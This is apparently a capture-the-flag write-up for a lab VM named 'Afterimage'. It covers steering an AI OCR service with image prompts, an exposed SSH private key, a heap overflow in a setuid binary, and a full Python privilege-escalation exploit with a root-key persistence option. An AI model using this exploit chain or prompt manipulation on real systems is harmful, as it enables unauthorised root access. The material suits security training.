

afterimage

信息收集

```
# Nmap 7.99 scan initiated Thu Sep 17 21:07:22 2026 as: /usr/lib/nmap/nmap -sT -Pn -sV -sC -O -p- -oA
Nmap scan report for 192.168.1.7 (192.168.1.7)
Host is up (0.0022s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http     Uvicorn
|_http-title: VisionDesk Afterimage \xC2\xB7 \xE6\xA1\xA3\xE6\xA1\x88 OCR
|_http-server-header: uvicorn
MAC Address: 08:00:27:CA:1D:8B (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS: SCAN(V=7.99%E=4%D=9/17%OT=22%CT=1%CU=39565%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=6AABE628%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=110%TI=Z%CI=Z%II=I
OS:%TS=21)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%TS=21)SEQ(SP=105%GCD=1%ISR=10B
OS:%TI=Z%CI=Z%TS=22)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=Z%TS=21)SEQ(SP=FD%GCD=
OS:1%ISR=10A%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NW8%O2=M5B4ST11NW8%O3=M5B4
OS:NNT11NW8%O4=M5B4ST11NW8%O5=M5B4ST11NW8%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W
OS:3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW8%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=40%W=0%S=A%Z%F=R%O=%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=
OS:40%W=0%S=A%Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
```

常规端口

web

VisionDesk Afterimage 档案恢复台

上传受损归档影像、收据、合同或运维截图。Afterimage 会将 OCR 转录结果提交至 VisionDesk 的可审计恢复流程。

处理指令

文档图片

shell.jpg

支持 PNG、JPEG 和 WebP 图片；归档修复请求将保留处理记录。

提交归档识别

识别结果

```
{
  "detail": [
    {
      "type": "string_too_short",
      "loc": [
        "body",
        "input",
        0,
        "TextPart",
        "text"
      ],
      "msg": "String should have at least 1 character",
      "input": ""
    }
  ]
}
```

80端口跑的是一个ai-ocr程序，上传图片并指定

OCR

“逐字转录图片中的全部文本，保留原有换行。”

类似话术操控后端ollama图片识别模型识别图片内容并返回

可以下载源码

<http://192.168.1.7/downloads/visiondesk-gateway-0.1.0.tar.gz>

源码

```
def build_ollama_message(parts: list[TextPart | ImagePart]) -> dict[str, Any]:
    """Translate the public multimodal schema to ollama-python's chat schema."""
    text = [part.text for part in parts if isinstance(part, TextPart)]
    images = [part.image_url for part in parts if isinstance(part, ImagePart)]
    return {
        "role": "user",
        "content": "\n".join(text) or "Extract the text visible in the document.",
        "images": images,
    }

@app.post("/v1/ocr")
```



```
-----BEGIN OPENSSSH PRIVATE KEY-----
b3B1bnNzaC1rZXktdjEAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAAzC2gtZW
QyNTUxOQAAACAMjkRt991BTNMIOC5TLRzu0/FHugjE7e0Uw2i3WdX2eQAAAKBWNQ50VjUO
dAAAAAtzc2gtZWQyNTUxOQAAACAMjkRt991BTNMIOC5TLRzu0/FHugjE7e0Uw2i3WdX2eQ
AAAEAmcAkRbGkXB5oSwoRsdKKFMu85zOm8ze/k6C6X4rNgSwyORG333UFM0wg4L1MtFm7T
8UdSCMTt7RRbaLdZ1fZ5AAAAGGFmdGvyaw1hz2Utdm1zaw9uzGVzay12MgECAwQF
-----END OPENSSSH PRIVATE KEY-----
```

ssh登录即可

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the ex
permitted by applicable law.
tlgjm@Afterimage:~$ whoami
tlgjm
tlgjm@Afterimage:~$ id
uid=1000(tlgjm) gid=1000(tlgjm) groups=1000(tlgjm)
tlgjm@Afterimage:~$ |
```

提权

0x01

```
Kernel Exploit Registry (T1068)
Operating system ..... Linux
Kernel release ..... 7.0.13-3-liquorix-amd64
Comparable version ..... 7.0.13.3
Data chunk limit ..... max 25 rows per KERNEL_CVE_DATA.* variable (1..23)
Kernel config source ..... /proc/config.gz
CVE: CVE-2026-53362 | Name: IPv6 fraggap out-of-bounds write | Match data: pkg=linux-kernel,ver>=6.19,ver<7.1.3,CONFIG_IPV6=[my] | Tags: 1 | Rank: Fixed in stable 7.1.3 and mainl
he 7.2-rc1; IPv6 must be enabled
Kernel vulns found: 1
```

存在内核漏洞，但网上现成POC很少，而且主要适配centos和红帽系统，暂时放弃

0x02

```
tlgjm@Afterimage:/run/visiondesk$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
/usr/local/bin/afterimage-recovery
```

```
/usr/local/bin/afterimage-recovery
```

有一个自定义sudo程序，但是tlgjm是密钥登进来的，暂时没发现密码

afterimage-recovery

```
VisionDesk Afterimage recovery desk
1. edit OCR recovery draft
2. preview recovery request
3. file recovery request
4. exit
> 2
queue=review title=OCR archive follow-up workflow=--review
```

尝试交互一下，是一个控制台类的程序

- 1: 编辑OCR恢复工单
- 2: 预览工单
- 3: 工单提交
- 4: 退出

此外pspy监控到一个定时任务

```
2586c8de545e4a6329c96e5.pid 4a39bec3ab53453d1a85e7515460076437bff0ac6cb07ddbdec66636c0e18fae
2026/09/17 23:16:53 CMD: UID=0 PID=307137 | python3 /usr/local/libexec/afterimage-recovery-dispatcher.py
2026/09/17 23:16:53 CMD: UID=0 PID=307138 |
```

名为：工单调度器

其执行日志在

/var/log/visiondesk/afterimage-maintenance.log

系统分析

正常使用1号功能并不能真正提交工单，根据其逆向结果显示1号功能仅仅开辟一段堆缓冲区，命令行输入length和draft后，仅打印draft save字符串就返回菜单了没有将具体内容写到工单结构，因此2号功能和3号功能所预览并提交的工单理论上讲是硬编码的，只能提交review的工单

```
VisionDesk Afterimage recovery desk
1. edit OCR recovery draft
2. preview recovery request
3. file recovery request
4. exit
> 2
queue=review title=OCR archive follow-up workflow=--review

VisionDesk Afterimage recovery desk
1. edit OCR recovery draft
2. preview recovery request
3. file recovery request
4. exit
> 3
filed Afterimage review request 312827
```

```
1789693297 maintenance-console-opened uid=1000
2026-09-18T01:11:27Z maintenance-console-revoked reason=expired
2026-09-18T02:51:46.996372Z review-recorded request=298876
2026-09-18T03:01:56.138530Z review-recorded request=302055
2026-09-18T03:17:41.273920Z review-recorded request=43981
2026-09-18T03:34:56.908581Z review-recorded request=312731
2026-09-18T03:35:36.265593Z review-recorded request=312827
tlgjm@Afterimage:/var/log/visiondesk$ |
```

结合/usr/local/bin/afterimage-recovery的逆向情况，日志和定时任务的执行，大致推断整套系统工作流程：

afterimage-recovery提供交互界面，用于提交工单，同时将工单内容写入/var/lib/visiondesk/afterimage/目录下的队列中，根据queue字段判别存放那个目录

```
tlgjm@Afterimage:/var/log/visiondesk$ ls -la /var/lib/visiondesk/afterimage/
total 20
drwxr-xr-x 5 root root 4096 Aug 17 07:57 .
drwxr-xr-x 3 root root 4096 Aug 17 07:57 ..
drwx----- 2 root root 4096 Sep 17 23:42 processed
drwx----- 2 root root 4096 Sep 17 21:01 repair
drwx----- 2 root root 4096 Sep 17 23:42 review
tlgjm@Afterimage:/var/log/visiondesk$ |
```

/var/lib/visiondesk/afterimage/{review|repair}-request-PID.bin

afterimage-recovery-dispatcher.py定时检查队列，根据workflow{--review|--repair}字段执行具体操作，其中--repair可生成一个rootshell

流程：

工单提交，带workflow --repair --> afterimage-recovery-dispatcher.py每5秒轮询 --> afterimage-recovery-helper(--expire-maintenance回收过期console), (--repair签发新的console) --> 生成/run/visiondesk/afterimage-maintenance.session --> 执行 afterimage-maintenance-console获取临时rootshell(600秒)

helper关键动作

```
--repair|--maintenance)
    expires=$(( $(date -u +%s) + TTL_SECONDS ))    # 600 秒
    umask 027
    { printf 'expires=%s\n' "$expires"
      printf 'request=%s\n' "$REQUEST"
      printf 'workflow=%s\n' "$ACTION"; } > "$STATE"
    chown root:tlgjm "$STATE"; chmod 0640 "$STATE"
    install -o root -g tlgjm -m 4750 "$CONSOLE_TEMPLATE" "$CONSOLE"    # ★ 提权动作
    audit "maintenance-console-provisioned request=$REQUEST workflow=$ACTION expires=$expires"
```

afterimage-recovery逆向片段

```
ctx      = calloc(1, sizeof *ctx);
ctx->buf  = malloc(0x40);           /* 0x401459 只申请 64 字节 */
ctx->cap  = 0x40;                   /* 0x40146c 正确记录了容量，但此后永不读取 */
```

```

/* ... case 1: edit OCR recovery draft ... */
len = read_number("length: ");          /* 0x401543 strtoul 读入用户指定的长度 */

if (len > 0x200)                          /* 0x401551 ★ 与缓冲区大小无关的硬编码常量 */
    len = 0x200;                        /* 0x40155b ★ 截断到 512 */

fwrite("draft: ", 1, 7, stdout);          /* 0x401563 */
n = read(0, ctx->buf, len);               /* 0x4015a3 ★★★ 堆缓冲区溢出 ★★★ */

if (n > 0 && ctx->buf[n-1] == '\n') /* 0x4015ac */
    ctx->buf[n-1] = '\0';                /* 0x4015cc */

```

```

; ---- 分配: 64 字节 ----
401454: mov     edi,0x40
401459: call    malloc@plt          ; buf = malloc(0x40)
401461: mov     rax,[rbp-0x10]       ; ctx
401465: mov     [rax],rdx            ; ctx->buf = buf
401468: mov     rax,[rbp-0x10]
40146c: mov     QWORD PTR [rax+0x8],0x40 ; ctx->cap = 0x40 ← 唯一的写入, 此后无任何
读取

; ---- 读取长度 ----
401543: mov     edi,0x402121         ; "length: "
401548: call    4012ac              ; read_number()
40154d: mov     [rbp-0x8],rax        ; len

; ---- ★ 错误的截断常量 ----
401551: cmp     QWORD PTR [rbp-0x8],0x200
401559: jbe     401563
40155b: mov     QWORD PTR [rbp-0x8],0x200 ; len = 512 ← 应为 ctx->cap(64)

; ---- ★★★ 溢出点 ----
401563: mov     rax,[rip+...]        ; stdout
40156d: mov     edx,0x7
401577: mov     edi,0x40212a         ; "draft: "
40157c: call    fwrite@plt
401590: mov     rax,[rbp-0x10]       ; ctx
401594: mov     rax,[rax]            ; ctx->buf ← 目标: 64 字节
401597: mov     rdx,[rbp-0x8]        ; len ← 最大 512
40159b: mov     rsi,rax
40159e: mov     edi,0x0              ; fd 0 = stdin
4015a3: call    read@plt            ; read(0, ctx->buf, len)

```

由代码可知, 1号功能存在堆溢出, 构造特定输入可以覆盖掉硬编码的工单, 然后等待dispatcher轮询, 执行/usr/local/libexec/afterimage-maintenance-console即可获得rootshell

```

(kali@192)~[~/Desktop/Dasz/afterimage]
$ python exp.py
[*] target=192.168.1.104 request_id=31337
[0] 检查入口 ...
uid=1000(tlgjm) gid=1000(tlgjm) groups=1000(tlgjm)
Warning: Permanently added '192.168.1.104' (ED25519) to the list of known hosts.
[1] payload=320B (填充80 + 记录240)
queue=repair workflow=--repair request_id=31337 -> 目标目录 repair/
[2] 经 PTY 触发堆溢出 (选项1 -> 2 -> 3) ...
预览: queue=repair title=OCR archive follow-up workflow=--repair
filed Afterimage repair request 31337
[3] 等待 dispatcher (每5s轮询) 签发维护控制台 ...
日志确认: repair-approved / maintenance-console-provisioned
[4] 执行 SUID 控制台 ...
=====
id; hostname; cat /root/root.txt
exit
VisionDesk Afterimage maintenance console
Session expires at 1789716469; activity is audited.
# uid=0(root) gid=0(root) groups=0(root)
Afterimage
flag{root-aa4399b02d983d1cbe0ef0e5c66de730}
# Connection to 192.168.1.104 closed.
=====
[+] 提权成功: uid=0(root)

```

```

tlgjm@Afterimage:~$ /usr/local/libexec/afterimage-maintenance-console
VisionDesk Afterimage maintenance console
Session expires at 1789717936; activity is audited.
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# |

```

exp

```

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
VisionDesk Afterimage -- 本地提权 exp (tlgjm -> root)
=====

漏洞链
-----
[1] /usr/local/bin/afterimage-recovery (setuid root, 组 tlgjm 可执行)
    选项 1: read(0, ctx->buf, len)
            ctx->buf = malloc(0x40) (glibc usable = 72B)
            len 被 clamp 到硬编码 0x200 = 512 -> 堆溢出 440B
            溢出偏移 80 起正好覆盖相邻的 240B 工单结构 draft
[2] 选项 3: 以 root 把该结构写入 root 独占队列
            /var/lib/visiondesk/afterimage/repair/request-<id>.bin
[3] afterimage-recovery-dispatcher.py (root, systemd timer 每 5s)
            queue=="repair" && workflow in {"--repair","--maintenance"}
            -> 调用 helper: install -o root -g tlgjm -m 4750 console.bin -> SUID
root
[4] 执行 /usr/local/libexec/afterimage-maintenance-console -> setresuid(0) +
/bin/sh

关键点
-----
* 正常接口只能提交 queue="review" 的工单, repair 类只能靠溢出伪造 -- 溢出是必需品

```

* `stdin` 必须走 `PTY(ssh -tt)`: `glibc fgets` 会预读, 裸 `read()` 抢不到数据 (否则读到 0 字节)

用法

```
python3 exp.py <target_ip> [--request-id N] [--cmd "..."] [--persist]
"""
```

```
import argparse
import struct
import subprocess
import sys
import time
```

```
KEY          = "/home/kali/Desktop/Dasz/afterimage/key"
RECOVERY     = "/usr/local/bin/afterimage-recovery"
CONSOLE      = "/usr/local/libexec/afterimage-maintenance-console"
SESSION      = "/run/visiondesk/afterimage-maintenance.session"
AUDIT_LOG    = "/var/log/visiondesk/afterimage-maintenance.log"
```

```
STRUCT_LEN   = 240    # draft 结构体总长 (write(fd, draft, 0xF0))
OVERFLOW_AT  = 80     # 72B usable + 8B chunk header -> draft+0
BUF_MAXLEN   = 512    # 程序里的错误 clamp 常量 (0x200)
```

```
SSH_OPTS = ["-i", KEY, "-o", "StrictHostKeyChecking=no",
            "-o", "UserKnownHostsFile=/dev/null",
            "-o", "BatchMode=yes", "-o", "ConnectTimeout=8"]
```

```
def ssh(target, user, cmd=None, pty=False):
    """返回 ssh 命令行(list): cmd=None 表示交互/执行远端命令"""
    a = ["ssh"] + SSH_OPTS
    if pty:
        a.append("-tt")
    a.append("%s@s%s" % (user, target))
    if cmd:
        a.append(cmd)
    return a
```

```
def run(target, user, cmd, timeout=60):
    r = subprocess.run(ssh(target, user, cmd), capture_output=True,
        timeout=timeout)
    return (r.stdout + r.stderr).decode("utf-8", "replace")
```

```
def build_record(queue, title, workflow, request_id, flag=0):
    """构造 240 字节工单记录"""
    q = queue.encode()[:7].ljust(8, b"\x00")
    t = title.encode()[:31].ljust(32, b"\x00")
    w = workflow.encode() + b"\x00"
    used = 8 + 32 + len(w)
    assert used <= 232, "workflow 过长"
    return (q + t + w + b"\x00" * (232 - used)
            + struct.pack("<I", request_id) + struct.pack("<I", flag))
```

```
def exploit_overflow(target, payload):
    """通过 PTY 分时喂入, 触发选项1堆溢出 -> 选项2预览 -> 选项3提交"""
```

```

p = subprocess.Popen(ssh(target, "tlgjm", pty=True) + [RECOVERY],
                      stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                      stderr=subprocess.STDOUT)

def w(data, delay):
    p.stdin.write(data)
    p.stdin.flush()
    time.sleep(delay)

w(b"1\n320\n", 2.0)          # 选项1 + 长度 320 (=80 填充 + 240 结构)
w(payload + b"\n", 2.0)     # 溢出数据: PTY 规范模式以换行为界 -> read() 取
满 320
w(b"2\n", 1.5)              # 预览 (无副作用, 用于自检)
w(b"3\n", 1.5)              # 提交 (以 root 落盘)
w(b"4\n", 0.3)

try:
    out = p.communicate(timeout=40)[0].decode("utf-8", "replace")
except subprocess.TimeoutExpired:
    p.kill()
    out = p.communicate()[0].decode("utf-8", "replace")
return out

def wait_provisioned(target, request_id, timeout=25):
    """轮询审计日志, 等待 dispatcher 签发控制台"""
    deadline = time.time() + timeout
    while time.time() < deadline:
        log = run(target, "tlgjm", "tail -n 20 " + AUDIT_LOG)
        if "request=%d" % request_id in log and "provisioned" in log:
            return True
        time.sleep(3)
    return False

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("target", nargs="?", default="192.168.1.104")
    ap.add_argument("--request-id", type=int, default=31337)
    ap.add_argument("--cmd", default="id; hostname; cat /root/root.txt")
    ap.add_argument("--persist", action="store_true",
                    help="把 tlgjm 的公钥追加到 /root/.ssh/authorized_keys")
    a = ap.parse_args()

    rid = a.request_id
    print("[*] target=%s request_id=%d" % (a.target, rid))

    # ----- 阶段 0: 前置检查 -----
    print("[0] 检查入口 ...")
    who = run(a.target, "tlgjm", "id")
    if "uid=1000(tlgjm)" not in who:
        print("[-] 无法以 tlgjm 登录: " + who.strip())
        return 1
    print(" " + who.strip())

    # ----- 阶段 1: 构造伪造工单 -----
    record = build_record("repair", "OCR archive follow-up", "--repair", rid)
    payload = b"A" * OVERFLOW_AT + record          # 80 + 240 = 320

```

```

print("[1] payload=%dB (填充%d + 记录%d)" % (len(payload), OVERFLOW_AT,
len(record)))
print("    queue=repair workflow=--repair request_id=%d -> 目标目录
repair/" % rid)

# ----- 阶段 2/3: 溢出 + 预览 + 提交 -----
print("[2] 经 PTY 触发堆溢出 (选项1 -> 2 -> 3) ...")
out = exploit_overflow(a.target, payload)
preview = [l.strip() for l in out.splitlines() if "queue=" in l]
filed = [l.strip() for l in out.splitlines() if "filed" in l]
print("    预览: " + (preview[0] if preview else "(无)"))
print("    " + (filed[0] if filed else "(- 提交无输出)"))
if not filed or "repair request %d" % rid not in filed[0]:
    print("[-] 提交失败 (溢出未命中, 可重试)")
    return 2

# ----- 阶段 4: 等待 root dispatcher 签发 -----
print("[3] 等待 dispatcher (每5s轮询) 签发维护控制台 ...")
if not wait_provisioned(a.target, rid):
    print("[-] 超时未签发, 检查 %s" % AUDIT_LOG)
    return 3
print("    日志确认: repair-approved / maintenance-console-provisioned")

# ----- 阶段 5: 执行 SUID 控制台 -> root -----
print("[4] 执行 SUID 控制台 ...")
cmds = a.cmd + "\nexit\n"
if a.persist:
    cmds = ("mkdir -p /root/.ssh && chmod 700 /root/.ssh && "
           "cat /home/tlgjm/.ssh/authorized_keys >>
/root/.ssh/authorized_keys && "
           "sort -u /root/.ssh/authorized_keys -o
/root/.ssh/authorized_keys && "
           "chmod 600 /root/.ssh/authorized_keys && echo '[+
persisted'\n") + cmds

p = subprocess.Popen(ssh(a.target, "tlgjm", pty=True) + [CONSOLE],
                      stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                      stderr=subprocess.STDOUT)
p.stdin.write(cmds.encode())
p.stdin.flush()
try:
    out = p.communicate(timeout=40)[0].decode("utf-8", "replace")
except subprocess.TimeoutExpired:
    p.kill()
    out = p.communicate()[0].decode("utf-8", "replace")

print("=" * 60)
for line in out.splitlines():
    if line.strip() and "Warning: Permanently added" not in line:
        print("    " + line.rstrip())
print("=" * 60)

if "uid=0(root)" in out:
    print("[+] 提权成功: uid=0(root)")
    return 0
print("[-] 未获得 root shell")
return 4

```

```
if __name__ == "__main__":  
    sys.exit(main())
```